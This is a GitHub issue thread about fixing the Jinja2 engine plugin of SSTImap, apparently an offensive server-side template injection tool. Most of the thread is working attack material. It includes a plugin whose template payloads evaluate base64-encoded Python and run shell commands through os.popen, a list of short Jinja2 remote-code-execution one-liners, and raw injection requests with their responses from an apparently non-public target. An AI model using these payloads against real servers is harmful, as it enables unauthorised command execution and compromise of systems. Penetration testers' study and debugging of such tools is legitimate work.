Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

quick fix for jinja2 non blind shell capabilities #44

Open
bUst4gr0 opened this issue Nov 4, 2024 · 12 comments
Open

quick fix for jinja2 non blind shell capabilities #44

bUst4gr0 opened this issue Nov 4, 2024 · 12 comments
Labels
bug Something isn't working enhancement New feature or request in progress The issue would be fixed in the next minor version

Comments

@bUst4gr0
Copy link

bUst4gr0 commented Nov 4, 2024

from plugins.languages import python
from utils import rand
from core import bash



class Jinja2(python.Python):
    def init(self):
        self.update_actions({
            'render': {
                'render': '{code}',
                'header': '{{{{{header[0]}+{header[1]}}}}}',
                'trailer': '{{{{{trailer[0]}+{trailer[1]}}}}}',
                'test_render': f'{{{{({rand.randints[0]},{rand.randints[1]}*{rand.randints[2]})|e}}}}',
                'test_render_expected': f'{(rand.randints[0],rand.randints[1]*rand.randints[2])}'
            },
            'evaluate': {
                'evaluate': """{{{{self.__init__.__globals__.__builtins__.eval(self.__init__.__globals__.__builtins__.eval('__import__("base64").urlsafe_b64decode("{code_b64}").decode()'))}}}}""",
		'test_os': 'sys.platform', #__import__("platform").platform()
                'test_os_expected': r'[a-z]+'
            },
            'execute': {
                'call': 'render',
                'execute': """{{{{namespace.__init__.__globals__.os.popen('$(echo "{code_b64}"|base64 -d)').read()}}}}""",
                'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
                'test_cmd_expected': rand.randstrings[2] 
            },
            'execute_blind': {
                'execute_blind': """{{{{namespace.__init__.__globals__.os.popen('$(echo "{code_b64}"| base64 -d) && sleep {delay}')}}}}"""
            },
        })

        self.set_contexts([
            # Text context, no closures
            {'level': 0},
            # This covers {{%s}}
            {'level': 1, 'prefix': '{closure}}}}}', 'suffix': '', 'closures': python.ctx_closures},
            # This covers {% %s %}
            {'level': 1, 'prefix': '{closure}%}}', 'suffix': '', 'closures': python.ctx_closures},
            # If and for blocks
            # # if %s:\n# endif
            # # for a in %s:\n# endfor
            {'level': 5, 'prefix': '{closure}\n', 'suffix': '\n', 'closures': python.ctx_closures},
            # Comment blocks
            {'level': 5, 'prefix': '#}}', 'suffix': '{#'},

        ])```
@vladko312
Copy link
Owner

Can you describe, what was the problem and what was changed?

@bUst4gr0
Copy link
Author

bUst4gr0 commented Nov 4, 2024

Yes, sure:
With old plugins/engines/jinja2.py
image

With the fix
image

I can't fix the blind technique for RCE ATM

@bUst4gr0
Copy link
Author

bUst4gr0 commented Nov 4, 2024

TBH i didn't try to debug the old payloads of this plugin nor to deep understand the code of the tool.
I did this fix by analogy with others plugins.
Thks to Poda for sharing this <3 :
https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/

@vladko312
Copy link
Owner

Can you share the source code of the vulnerable web application?

@bUst4gr0
Copy link
Author

bUst4gr0 commented Nov 4, 2024

I tested it on a non-public support.

@bUst4gr0
Copy link
Author

bUst4gr0 commented Nov 4, 2024

Those 4 payloads are the shortest:
{{ cycler.init.globals.os.popen('id').read() }}
{{ joiner.init.globals.os.popen('id').read() }}
{{ namespace.init.globals.os.popen('id').read() }}
{{ lipsum.globals["os"].popen('id').read() }}
source:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md#exploit-the-ssti-by-calling-ospopenread

@bUst4gr0
Copy link
Author

bUst4gr0 commented Nov 4, 2024

The OS-Shell mode of your tool is awesome

@vladko312
Copy link
Owner

Can you try running SSTImap with a proxy (e.g. BurpSuite) and send the relevant parts of the last couple responses with the original plugin?

@bUst4gr0
Copy link
Author

bUst4gr0 commented Nov 4, 2024

request_1: content={{2889102655+4675044116}}{{(16,70*55)|e}}{{2668800172+4828882064}}
response_1: { "content" : "7564146771(16, 3850)7497682236" }

request_2: content={{4018404312+1092672033}}{% set d = "eval(__import__('base64').urlsafe_b64decode('Jy0nLmpvaW4oW19faW1wb3J0X18oJ29zJykubmFtZSwgX19pbXBvcnRfXygnc3lzJykucGxhdGZvcm1dKQ=='))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval'](d) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}{{1972001808+3717655913}}

response_2 : { "content" : "5111076345 \n \n\nposix-linux\n \n \n \n 5689657721" }

The plugins/engines/jinja2.py injection is added to this of plugins/languages/python.py.
Then the regexp of python.py don't match the result of the injected '-'.join([__import__('os').name, __import__('sys').platform])

@bUst4gr0
Copy link
Author

bUst4gr0 commented Nov 4, 2024

If i modify this regexp, a third request is made :
request: {{2217061379+1008800551}}{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnWldOb2J5QnJaQT09JykuZGVjb2RlKCkpLnJlYWQoKQ=='))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval'](d) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}{{4075580450+2810577953}}

response: { "error" : "Field 'content' is too long." }

@vladko312
Copy link
Owner

Thank you for your help! It seems like all the extra spaces and newlines were not properly trimmed. I woud change the payload to a shorter one in the next version. The old payload would probably go into the legacy category after being fixed, as the newer payload might be incompatible with some older versions.

@vladko312 vladko312 added bug Something isn't working enhancement New feature or request in progress The issue would be fixed in the next minor version labels Nov 4, 2024
@bUst4gr0
Copy link
Author

bUst4gr0 commented Nov 5, 2024

Cool.
NP, thks for your cool tool and your reactivity.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working enhancement New feature or request in progress The issue would be fixed in the next minor version
Projects
None yet
Development

No branches or pull requests

2 participants